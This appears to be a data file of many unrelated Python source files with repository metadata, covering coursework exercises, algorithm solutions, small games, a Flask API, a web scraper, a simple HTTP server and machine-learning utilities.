import queue from multiprocessing.managers import BaseManager # ไปปๅŠกๆ•ฐ task_number = 10 # ๅฎšไน‰ๆ”ถๅ‘้˜Ÿๅˆ— task_queue = queue.Queue(task_number) result_queue = queue.Queue(task_number) def get_task(): return task_queue def get_result(): return result_queue # ๅˆ›ๅปบ็ฑปไผผ็š„Queuemanager class Queuemanager(BaseManager): pass ...
true
d800a8cb7580e2f54c020df85cc5193d1fe76591
Python
NARENSTAR/python
/day1/arthematicoperators.py
UTF-8
96
3.75
4
[]
no_license
a = 20 b = 5 c = a+b print (c) d = a-b print (d) e = a*b print (e) f = a/b print (f)
true
e33b112595961bb55770a5b23cc50e622f27ab5b
Python
shwetabhandare/PySG
/src/parseDreme.py
UTF-8
2,133
2.734375
3
[]
no_license
import sys import re def read_file(dreme_file): with open (dreme_file, "r") as myfile: data=myfile.readlines() return data; def findKmers(file_contents): kmerDict = dict(); pattern2 = re.compile('#\s(?:BEST\s+|\s+)([ATGC]+)\s+([ATGC]+)\s+(\d+)\s+(\d+)') for match2 in pattern2.finditer(file_contents): kmer = ...
true
d4b82aca90b1602a6d5030c040b84ff6f5866e50
Python
AlejandroPenaSanchez/Python-Tests
/Sockets/ClienteUDP-1.py
UTF-8
467
2.90625
3
[]
no_license
import socket import sys buf = 1024 direc = ('localhost',20000)# direccion ip del servidor, puerto if __name__ == '__main__': mySocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) while True: peticion = input('?: ').strip() if peticion == "": break mySocket.sendto("%s...
true
141ebe6614122d4254f3ac880b11c771fe2b2b73
Python
Ritik-Arora-576/DATA-SCIENCE
/Face - Recognition/Face Recognition - Project .py
UTF-8
4,922
3.078125
3
[]
no_license
#!/usr/bin/env python # coding: utf-8 # In[1]: import cv2 import matplotlib.pyplot as plt image_data=cv2.imread('pikachu.jpg')# by default read into BGR format image_data=cv2.cvtColor(image_data,cv2.COLOR_BGR2RGB) # to convert BGR image into RGB image plt.imshow(image_data) plt.axis('off') plt.figure(figsize=(3,3)) ...
true
700add1d27af852c5dab7ff80ecafa5180bb37dd
Python
git874997967/LeetCode_Python
/easy/leetCode1933.py
UTF-8
504
3.765625
4
[]
no_license
#1933. Check if String Is Decomposable Into Value-Equal Substrings def isDecomposable(s): i,n ,two = 0,len(s),False if n % 3 != 2: return False while i < n: if i < n - 2 and s[i] == s[i+1] == s[i+2]: i+= 3 elif s[i] == s[i+1] and not two: two = True ...
true
081f2c0558fa7e4184d3f44fcd42bade96d4480b
Python
samsgates/DeepPose
/modules/functions/pytorch/mean_squared_error_FC3.py
UTF-8
1,626
3.359375
3
[]
no_license
# -*- coding: utf-8 -*- """ Mean squared error function. """ import torch.nn as nn import torch class MeanSquaredErrorFC3(nn.Module): """ Mean squared error (a.k.a. Euclidean loss) function. """ def __init__(self, use_visibility=True): super(MeanSquaredErrorFC3, self).__init__() self.use_vis...
true
eb9b92eb2344d4fc2cdfd7a4bea3a1b1a44c8abe
Python
Isra-Mosad/PlainHash
/Package_Hash/Info.py
UTF-8
2,787
2.734375
3
[]
no_license
#!/usr/bin/env python3 from Package_Hash.Banner import Banner class Info: def print_info(): W='\033[0m' R='\033[31m' G='\033[0;32m' O='\33[37m' B='\033[34m' P='\033[35m' Y='\033[1;3...
true
1dc3812e392afd56d28191dbe101156647be66a2
Python
JoeGaynor/Term-1
/Week 3 tutorial-customised greeting.py
UTF-8
318
3.96875
4
[]
no_license
import datetime as dt time = dt.datetime.now().hour name = input("Please enter your name: ") if 5 <= time < 12: greeting = "morning" elif 12 <= time < 19: greeting = "afternoon" else: greeting = "night" print(f"Hello {name.capitalize()}, it is nice to see you. I wish you a good {greeting}")
true
e055c5eec7ce65c033b384ffa8c3689b5bf06090
Python
kbbenton509/ClassRep
/Assignment1b.py
UTF-8
1,654
3.640625
4
[]
no_license
import csv import glob, os #all imports needed for this program path = os.getcwd() #gets the current path of the directory, this is used later on to find if the xml file is in the directory os.chdir(path) os.remove("Test.xml") #removes previous conversion xml file so the program will not give a false positive def csvR...
true
3303f92dda915bfa794dad21f24fe710c3948c19
Python
BurtBiel/PythonTests
/PythonApplication1/FunctionalTests/EndToEndTest.py
UTF-8
329
2.765625
3
[]
no_license
from subprocess import call def execCommand(args=[]): retcode = call([r"C:\Python34\python.exe", r"C:\Users\burtbiel\documents\visual studio 2015\Projects\PythonApplication1\PythonApplication1\main.py"] + args) if (retcode != 0): raise Exception("Call failed: " + args) execCommand() execCommand(["foo",...
true
e3bc3f30cde5f3f4315449a8b6842c3868863842
Python
hjjjang/exercise
/Algorithm(Python)/GreedyAlgorithm/ex2(์ด์ฝ”ํ…Œ).py
UTF-8
181
3.84375
4
[]
no_license
## ๊ณฑํ•˜๊ธฐ ํ˜น์€ ๋”ํ•˜๊ธฐ ## s = [int(i) for i in input()] result = 0 for i in s: if i <= 1 or result <=1: result += i else: result *= i print(result)
true
c5a604006168995ffccf9d66b2d027bf89d31a07
Python
aiegoo/pythonclass
/python_workspace/if๋ฌธ1.py
UTF-8
184
3.734375
4
[]
no_license
#if๋ฌธ1.py """ if ์กฐ๊ฑด์‹: .......... .......... .......... """ num = int(input("์ •์ˆ˜ : ")) if num%2==0: pass #print("์ง์ˆ˜์ด๋‹ค") print("if๋ฌธ ์™ธ๋ถ€์ด๋‹ค ")
true
62d69b253bed187443cc7bbd48419ac9feb2bb18
Python
earth519/IMAC-trainee
/practicePython/HW1.py
UTF-8
297
3.578125
4
[]
no_license
# -*- coding: utf-8 -*- """ Created on Tue Jun 12 09:09:57 2018 @author: SevenHope """ while True: try: n = int(input("Please enter a number: ")) break except ValueError: print("Oops! That was not a number. Try again...") for x in range(n): print("*",end='')
true
277792a142364713dce2d00ba4a3d94d547deb8d
Python
ashwinm2/Challenges
/Journey_to_Moon.py
UTF-8
1,310
2.75
3
[]
no_license
# Journey to Moon N,l = map(int,raw_input().split()) full_map = {} count = 0 total = 0 for i in xrange(l): flag = 0 conjoint_lt = [] a,b = map(int,raw_input().split()) for key in full_map.keys(): temp = full_map[key] if a in temp and b in temp: flag = 1 elif a in tem...
true
4eface421cf23d92284beb44e8d2c3e788ee8472
Python
phantomsoul1/sqlalchemy-challenge
/app.py
UTF-8
4,568
2.96875
3
[]
no_license
# 1. Import libraries import datetime as dt from dateutil import relativedelta import numpy as np import sqlalchemy from sqlalchemy.ext.automap import automap_base from sqlalchemy.orm import Session from sqlalchemy import create_engine, desc, func from flask import Flask, jsonify # 2. Database Setup engine = create_...
true
76bb2795347305817be7344f824ef3457dd1e386
Python
cooperstrahan/Pyfundamentals
/functions_basic_2.py
UTF-8
872
4.03125
4
[]
no_license
def countdown(num): newList = [] while num >= 0: newList.append(num) num = num -1 return newList print(countdown(5)) def print_and_return(list): print(list[0]) return list[1] print(print_and_return([1,2])) def first_plus_length(l): return len(l) + l[0] print(first_plus_length(...
true
96f3f0d3a62ae9ba4aa676264ecaf1f89e3d1f0d
Python
SwamyAcount/webcrawling
/stores_spiders/fab_india.py
UTF-8
1,190
2.515625
3
[]
no_license
import scrapy from selenium import webdriver from scrapy import Request import time from scrapy.http import FormRequest ,TextResponse class Super(scrapy.Spider): name = "fabindia" start_urls = ['https://www.fabindia.com/store-locator'] def __init__(self, keyword=None, **kwargs): self.keyword = keyword self.driv...
true
979f8265fa4ada23adbfd64eb7948dd2a77ed1c7
Python
jiuzixue09/design_pattern
/chain_of_resp_pattern/ChainOfResponsibility.py
UTF-8
3,797
3.109375
3
[]
no_license
from abc import ABCMeta, abstractmethod class Request: def __init__(self, name, dayoff, reason): self.__name = name self.__dayoff = dayoff self.__reason = reason self.__leader = None def get_name(self): return self.__name def get_day_off(self): return sel...
true
de49947dd60e23147116d47bcf38150bb1905570
Python
devaljain1998/dsaPractice
/Data Structures/LinkedList/implementation.py
UTF-8
2,551
3.859375
4
[]
no_license
class Node: def __init__(self, *args, **kwargs): this.value = None this.next_node = None def __init__(self, value, *args, **kwargs): this.value = value this.next_node = None def __init__(self, value, next_node, *args, **kwargs): this.value = value th...
true
0c3042fff2ee89ad2d8eb53bd1ef0d8bcf0918af
Python
Fuzzwah/intercom
/intercom.py
UTF-8
573
2.515625
3
[ "MIT" ]
permissive
import configparser import time from client import MumbleClient class InterCom: def __init__(self): config = configparser.ConfigParser() config.read('intercom.ini') self.mumble_client = MumbleClient(config['mumbleclient']) def run(self): while 1 == 1: self.mumble_...
true
d8a78352e9c6a360f9a69e025a7a024501baf351
Python
MarcTatam/AI-coursework
/AI coursework/matrix.py
UTF-8
1,928
3.5
4
[]
no_license
from sklearn.datasets import load_digits from sklearn.cluster import KMeans from collections import Counter import matplotlib.pyplot as plt #Get data set digits = load_digits() #Make K means plot kmeans = KMeans(n_clusters=10, max_iter=1000, n_init=20) kmeans.fit(digits.data) #Get prediction for each item in data se...
true
2bd00d5b0a041cb0722719681a7480a7ee56890b
Python
RobinKongNingLo/LeetCode
/LinkedList/#2AddTwoNumbers.py
UTF-8
789
3.203125
3
[]
no_license
# Definition for singly-linked list. # class ListNode: # def __init__(self, val=0, next=None): # self.val = val # self.next = next class Solution: def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode: l3 = ListNode(0) dummy = l3 carry = 0 while l1 or l2...
true
e17d2a193c0da75d4ca3014b80d58df0520b37fa
Python
nathaa13/streamlitdatavisuproject
/streamlitdatavisuproject/apps/home.py
UTF-8
525
3.046875
3
[]
no_license
import streamlit as st def app(): st.write('My linkedin: https://www.linkedin.com/in/colard-nathalie/') st.write('My Github: https://github.com/nathaa13') st.title("Summary of Nathalie COLARD's personal data ๐Ÿ“Š") st.subheader('By Nathalie COLARD') st.write("An application that analyzes Nathalie Co...
true
c9591b1a8dcd776509a5e92f594a3d256e1072a8
Python
PineBiotechOrg/trkir-backend-infra
/topic_handlers/common/helpers.py
UTF-8
948
3.171875
3
[]
no_license
def on_send_success(record_metadata): # TODO: logging https://tracker.yandex.ru/VPAGROUPDEV-907 print("sent to topic ", record_metadata.topic) def on_send_error(exception): # TODO: logging https://tracker.yandex.ru/VPAGROUPDEV-907 print('error: ', exception) def convert_to_dict(columns, results): ...
true
38c0913dfd594f2baf13af2120ef84b51845476e
Python
Madhan063/codes
/Spice prototypes/LTspice_DC.py
UTF-8
5,233
2.921875
3
[]
no_license
import sys class UnAcceptedValueError(Exception): def __init__(self, data): self.data = data def __str__(self): return repr(self.data) class MalformedFileError(Exception): def __init__(self, data): self.data = data def __str__(self): return repr(self.data) def removing_new_line(b): for i in range(0,len(b...
true
b5784849d3dda0ceeaec7973a3a0a6972641a414
Python
NelsonarevaloF/holbertonschool-higher_level_programming
/0x05-python-exceptions/0-safe_print_list.py
UTF-8
300
3.6875
4
[]
no_license
#!/usr/bin/python3 def safe_print_list(my_list=[], x=0): cont = 0 try: for iterator in range(x): print("{}".format(my_list[iterator]), end="") cont += 1 except: return (cont) else: return (cont) finally: print("\n", end="")
true
85308f506e9064f4ab68ff6d145d9917d858e8d2
Python
taoing/python_code
/2.2 wsgi_server/02_static_web_server.py
UTF-8
2,421
3
3
[]
no_license
import socket from multiprocessing import Process import re root_path = './static/' class HTTPServer(object): def __init__(self, ip, port): self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.server_socket.bind((ip, port)) def start(self): self.server_socket.lis...
true
13bb1ba44a57497582fd799bcf620051d0a5b5ad
Python
LucaCappelletti94/dictances
/tests/utils/chi_square_reference.py
UTF-8
503
3.078125
3
[ "MIT" ]
permissive
import numpy as np from scipy.stats import chisquare def chi_square_distance(repr1: np.ndarray, repr2: np.ndarray) -> float: repr1.tolist() repr2.tolist() dist_sum = 0 for x in range(max(len(repr1), len(repr2))): val1 = 0 val2 = 0 try: val1 = repr1[x] excep...
true
3f2abc2b4fad84085c989794795817587fb538ba
Python
ItsSabirHussain/Software-Development-Speiclizations
/MicroMaster (Algorithms and Data Structures) /Graph Algorithms/Decomposition of Graph 1/Programming Assignment/Solution/Adding Exits to a Maze.py
UTF-8
1,421
3.640625
4
[]
no_license
import sys class adjNode: def __init__(self, data): self.vertex = data self.next = None class Graph: def __init__(self, vertices): self.V = vertices self.graph = [None] * self.V #Function to add an edge in undirected graph def add_edge(self, src, dest): #Addi...
true
83d1b4c4c72f8b1509e1a1ac75779c7c00fd4ce1
Python
eunchae2000/codeup
/.vscode/1671.py
UTF-8
266
3.359375
3
[]
no_license
a, b= map(int, input().split()) if ((a==0 and b==0) or (a==1 and b==1) or (a==2) and b==2): print("tie") elif((a==0 and b==1) or (a==1 and b==2) or (a==2 and b==0)): print("win") elif((a==1 and b==0) or (a==2 and b==1) or (a==0 and b==2)): print("lose")
true
a8fea6b9cbcda3d3de4919a67034398263bc7ce5
Python
jessicuzwhynot/SchoolLabs
/Python-School/Lesson02/problem01.py
UTF-8
432
3.4375
3
[]
no_license
def vendor_stand(num_hotdogs, num_chips, num_sodas): total_due = num_hotdogs * 2.5 + num_chips * 1.5 + num_sodas * 1.25 return total_due if __name__ == '__main__': num_hotdogs = int(input('Enter number of hotdogs:\n')) num_chips = int(input('Enter number of chips:\n')) num_sodas = int(input('Enter...
true
3f2661aaf09d58fa528a9dab1eba4d6b39480416
Python
ABGJancio/Currency_Calculator
/current_rates.py
UTF-8
815
2.859375
3
[]
no_license
import requests import csv def get_rates_list(): """Get actual 'bid' and 'ask' rates for currencies from NBP API.""" response = requests.get( "http://api.nbp.pl/api/exchangerates/tables/C?format=json") data = response.json()[0]['rates'] global rates rates = [[item['currency'], item['code']...
true
f455814b3d99abcc7a146cb4d5c43e2d22603658
Python
martingascon/Python_Coursera_URice
/Pong.py
UTF-8
4,320
3.359375
3
[]
no_license
#Implementation of classic arcade game Pong import simplegui import random # initialize globals - pos and vel encode vertical info for paddles WIDTH = 600 HEIGHT = 400 BALL_RADIUS = 20 PAD_WIDTH = 8 PAD_HEIGHT = 80 HALF_PAD_WIDTH = PAD_WIDTH / 2 HALF_PAD_HEIGHT = PAD_HEIGHT / 2 LEFT = False RIGHT = True ball_po...
true
8599371f63e21fab500d13871d99c1f704517215
Python
MoVo01/Kniffel
/Unittests.py
UTF-8
16,328
3.03125
3
[]
no_license
# -*- coding: utf-8 -*- """ Created on Thu Aug 20 16:31:01 2020 @author: morit """ import unittest import copy # tested classes import DiceRoll as f_dr import Categories as f_ca import Game as f_ga import Player as f_pl class DiceRollTest(unittest.TestCase): def test_roll(self): ...
true
ebd34e72132d0419a7e1aafed0253d0ad7895162
Python
sanjeevmk/Woodhouse
/datasets/nerf_dataset.py
UTF-8
4,957
2.5625
3
[ "MIT" ]
permissive
import os from typing import List, Optional, Tuple import numpy as np import requests import torch from PIL import Image from pytorch3d.renderer import PerspectiveCameras from torch.utils.data import Dataset DEFAULT_DATA_ROOT = os.path.join( os.path.dirname(os.path.realpath(__file__)), "..", "data" ) DEFAULT_UR...
true